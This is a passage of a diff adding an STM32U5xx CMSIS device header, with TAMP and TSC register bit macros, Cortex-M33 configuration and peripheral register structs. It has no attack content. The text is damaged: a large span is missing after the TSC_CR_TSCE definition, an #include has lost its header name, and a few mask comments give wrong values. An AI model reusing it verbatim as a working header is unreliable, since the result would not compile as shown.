TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7UL) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16UL) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17UL) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18UL) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20UL) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21UL) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22UL) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23UL) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24UL) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26UL) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27UL) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28UL) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0UL) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1UL) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2UL) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3UL) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4UL) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5UL) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6UL) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7UL) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16UL) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17UL) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18UL) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20UL) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21UL) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22UL) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23UL) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24UL) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26UL) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27UL) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28UL) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk + +/******************** Bits definition for TAMP_COUNTR register ***************/ +#define TAMP_COUNTR_Pos (16UL) +#define TAMP_COUNTR_Msk (0xFFFFUL << TAMP_COUNTR_Pos) /*!< 0xFFFF0000 */ +#define TAMP_COUNTR TAMP_COUNTR_Msk + +/******************** Bits definition for TAMP_ERCFGR register ***************/ +#define TAMP_ERCFGR0_Pos (0UL) +#define TAMP_ERCFGR0_Msk (0x1UL << TAMP_ERCFGR0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR0 TAMP_ERCFGR0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0UL) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0UL) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0UL) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0UL) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0UL) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0UL) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0UL) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0UL) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0UL) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0UL) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0UL) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0UL) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0UL) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0UL) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0UL) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0UL) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0UL) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0UL) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0UL) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0UL) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0UL) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0UL) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0UL) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0UL) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0UL) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0UL) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0UL) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0UL) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0UL) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0UL) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0UL) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0UL) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* Touch Sensing Controller (TSC) */ +/* */ +/******************************************************************************/ +/******************* Bit definition for TSC_CR register *********************/ +#define TSC_CR_TSCE_Pos (0UL) +#define TSC_CR_TSCE_Msk (0x1UL << TSC_CR_TSCE_Pos) /*!< 0x00000001 */ +#define TSC_CR_TSCE TSC_CR_TSCE_Msk /*!= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32u5xx.h" /*!< STM32U5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t TXDR; /*!< I2C Transmit data register, Address offset: 0x28 */ + __IO uint32_t AUTOCR; +} I2C_TypeDef; + +/** + * @brief DAC + */ +typedef struct +{ + __IO uint32_t CR; /*!< DAC control register, Address offset: 0x00 */ + __IO uint32_t SWTRIGR; /*!< DAC software trigger register, Address offset: 0x04 */ + __IO uint32_t DHR12R1; /*!< DAC channel1 12-bit right-aligned data holding register, Address offset: 0x08 */ + __IO uint32_t DHR12L1; /*!< DAC channel1 12-bit left aligned data holding register, Address offset: 0x0C */ + __IO uint32_t DHR8R1; /*!< DAC channel1 8-bit right aligned data holding register, Address offset: 0x10 */ + __IO uint32_t DHR12R2; /*!< DAC channel2 12-bit right aligned data holding register, Address offset: 0x14 */ + __IO uint32_t DHR12L2; /*!< DAC channel2 12-bit left aligned data holding register, Address offset: 0x18 */ + __IO uint32_t DHR8R2; /*!< DAC channel2 8-bit right-aligned data holding register, Address offset: 0x1C */ + __IO uint32_t DHR12RD; /*!< Dual DAC 12-bit right-aligned data holding register, Address offset: 0x20 */ + __IO uint32_t DHR12LD; /*!< DUAL DAC 12-bit left aligned data holding register, Address offset: 0x24 */ + __IO uint32_t DHR8RD; /*!< DUAL DAC 8-bit right aligned data holding register, Address offset: 0x28 */ + __IO uint32_t DOR1; /*!< DAC channel1 data output register, Address offset: 0x2C */ + __IO uint32_t DOR2; /*!< DAC channel2 data output register, Address offset: 0x30 */ + __IO uint32_t SR; /*!< DAC status register, Address offset: 0x34 */ + __IO uint32_t CCR; /*!< DAC calibration control register, Address offset: 0x38 */ + __IO uint32_t MCR; /*!< DAC mode control register, Address offset: 0x3C */ + __IO uint32_t SHSR1; /*!< DAC Sample and Hold sample time register 1, Address offset: 0x40 */ + __IO uint32_t SHSR2; /*!< DAC Sample and Hold sample time register 2, Address offset: 0x44 */ + __IO uint32_t SHHR; /*!< DAC Sample and Hold hold time register, Address offset: 0x48 */ + __IO uint32_t SHRR; /*!< DAC Sample and Hold refresh time register, Address offset: 0x4C */ + __IO uint32_t RESERVED[1]; + __IO uint32_t AUTOCR; /*!< DAC Autonomous mode register, Address offset: 0x54 */ +} DAC_TypeDef; + +/** + * @brief Clock Recovery System + */ +typedef struct +{ +__IO uint32_t CR; /*!< CRS ccontrol register, Address offset: 0x00 */ +__IO uint32_t CFGR; /*!< CRS configuration register, Address offset: 0x04 */ +__IO uint32_t ISR; /*!< CRS interrupt and status register, Address offset: 0x08 */ +__IO uint32_t ICR; /*!< CRS interrupt flag clear register, Address offset: 0x0C */ +} CRS_TypeDef; + +/** + * @brief HASH + */ +typedef struct +{ + __IO uint32_t CR; /*!< HASH control register, Address offset: 0x00 */ + __IO uint32_t DIN; /*!< HASH data input register, Address offset: 0x04 */ + __IO uint32_t STR; /*!< HASH start register, Address offset: 0x08 */ + __IO uint32_t HR[5]; /*!< HASH digest registers, Address offset: 0x0C-0x1C */ + __IO uint32_t IMR; /*!< HASH interrupt enable register, Address offset: 0x20 */ + __IO uint32_t SR; /*!< HASH status register, Address offset: 0x24 */ + uint32_t RESERVED[52]; /*!< Reserved, 0x28-0xF4 */ + __IO uint32_t CSR[54]; /*!< HASH context swap registers, Address offset: 0x0F8-0x1CC */ +} HASH_TypeDef; + +/** + * @brief HASH_DIGEST + */ +typedef struct +{ + __IO uint32_t HR[8]; /*!< HASH digest registers, Address offset: 0x310-0x32C */ +} HASH_DIGEST_TypeDef; + +/** + * @brief RNG + */ +typedef struct +{ + __IO uint32_t CR; /*!< RNG control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< RNG status register, Address offset: 0x04 */ + __IO uint32_t DR; /*!< RNG data register, Address offset: 0x08 */ + __IO uint32_t NSCR; /*!< RNG noise source control register , Address offset: 0x0C */ + __IO uint32_t HTCR; /*!< RNG health test configuration register, Address offset: 0x10 */ +} RNG_TypeDef; + +/** + * @brief Debug MCU + */ +typedef struct +{ + __IO uint32_t IDCODE; /*!< MCU device ID code, Address offset: 0x00 */ + __IO uint32_t CR; /*!< Debug MCU configuration register, Address offset: 0x04 */ + __IO uint32_t APB1FZR1; /*!< Debug MCU APB1 freeze register 1, Address offset: 0x08 */ + __IO uint32_t APB1FZR2; /*!< Debug MCU APB1 freeze register 2, Address offset: 0x0C */ + __IO uint32_t APB2FZR; /*!< Debug MCU APB2 freeze register, Address offset: 0x10 */ + __IO uint32_t APB3FZR; /*!< Debug MCU APB3 freeze register, Address offset: 0x14 */ + uint32_t RESERVED1[2];/*!< Reserved, 0x18 - 0x1C */ + __IO uint32_t AHB1FZR; /*!< Debug MCU AHB1 freeze register, Address offset: 0x20 */ + uint32_t RESERVED2; /*!< Reserved, 0x24 */ + __IO uint32_t AHB3FZR; /*!< Debug MCU AHB3 freeze register, Address offset: 0x28 */ +} DBGMCU_TypeDef; + +/** + * @brief DCMI + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCMI control register 1, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCMI status register, Address offset: 0x04 */ + __IO uint32_t RISR; /*!< DCMI raw interrupt status register, Address offset: 0x08 */ + __IO uint32_t IER; /*!< DCMI interrupt enable register, Address offset: 0x0C */ + __IO uint32_t MISR; /*!< DCMI masked interrupt status register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< DCMI interrupt clear register, Address offset: 0x14 */ + __IO uint32_t ESCR; /*!< DCMI embedded synchronization code register, Address offset: 0x18 */ + __IO uint32_t ESUR; /*!< DCMI embedded synchronization unmask register, Address offset: 0x1C */ + __IO uint32_t CWSTRTR; /*!< DCMI crop window start, Address offset: 0x20 */ + __IO uint32_t CWSIZER; /*!< DCMI crop window size, Address offset: 0x24 */ + __IO uint32_t DR; /*!< DCMI data register, Address offset: 0x28 */ +} DCMI_TypeDef; + +/** + * @brief DMA Controller + */ +typedef struct +{ + __IO uint32_t SECCFGR; /*!< DMA secure configuration register, Address offset: 0x00 */ + __IO uint32_t PRIVCFGR; /*!< DMA privileged configuration register, Address offset: 0x04 */ + __IO uint32_t RCFGLOCKR; /*!< DMA lock configuration register, Address offset: 0x08 */ + __IO uint32_t MISR; /*!< DMA non secure masked interrupt status register, Address offset: 0x0C */ + __IO uint32_t SMISR; /*!< DMA secure masked interrupt status register, Address offset: 0x10 */ +} DMA_TypeDef; + +typedef struct +{ + __IO uint32_t CLBAR; /*!< DMA channel x linked-list base address register, Address offset: 0x50 + (x * 0x80) */ + uint32_t RESERVED1[2]; /*!< Reserved 1, Address offset: 0x54 -- 0x58 */ + __IO uint32_t CFCR; /*!< DMA channel x flag clear register, Address offset: 0x5C + (x * 0x80) */ + __IO uint32_t CSR; /*!< DMA channel x flag status register, Address offset: 0x60 + (x * 0x80) */ + __IO uint32_t CCR; /*!< DMA channel x control register, Address offset: 0x64 + (x * 0x80) */ + uint32_t RESERVED2[10];/*!< Reserved 2, Address offset: 0x68 -- 0x8C */ + __IO uint32_t CTR1; /*!< DMA channel x transfer register 1, Address offset: 0x90 + (x * 0x80) */ + __IO uint32_t CTR2; /*!< DMA channel x transfer register 2, Address offset: 0x94 + (x * 0x80) */ + __IO uint32_t CBR1; /*!< DMA channel x block register 1, Address offset: 0x98 + (x * 0x80) */ + __IO uint32_t CSAR; /*!< DMA channel x source address register, Address offset: 0x9C + (x * 0x80) */ + __IO uint32_t CDAR; /*!< DMA channel x destination address register, Address offset: 0xA0 + (x * 0x80) */ + __IO uint32_t CTR3; /*!< DMA channel x transfer register 3, Address offset: 0xA4 + (x * 0x80) */ + __IO uint32_t CBR2; /*!< DMA channel x block register 2, Address offset: 0xA8 + (x * 0x80) */ + uint32_t RESERVED3[8]; /*!< Reserved 3, Address offset: 0xAC -- 0xC8 */ + __IO uint32_t CLLR; /*!< DMA channel x linked-list address register, Address offset: 0xCC + (x * 0x80) */ +} DMA_Channel_TypeDef; + +/** + * @brief DMA2D Controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< DMA2D Control Register, Address offset: 0x00 */ + __IO uint32_t ISR; /*!< DMA2D Interrupt Status Register, Address offset: 0x04 */ + __IO uint32_t IFCR; /*!< DMA2D Interrupt Flag Clear Register, Address offset: 0x08 */ + __IO uint32_t FGMAR; /*!< DMA2D Foreground Memory Address Register, Address offset: 0x0C */ + __IO uint32_t FGOR; /*!< DMA2D Foreground Offset Register, Address offset: 0x10 */ + __IO uint32_t BGMAR; /*!< DMA2D Background Memory Address Register, Address offset: 0x14 */ + __IO uint32_t BGOR; /*!< DMA2D Background Offset Register, Address offset: 0x18 */ + __IO uint32_t FGPFCCR; /*!< DMA2D Foreground PFC Control Register, Address offset: 0x1C */ + __IO uint32_t FGCOLR; /*!< DMA2D Foreground Color Register, Address offset: 0x20 */ + __IO uint32_t BGPFCCR; /*!< DMA2D Background PFC Control Register, 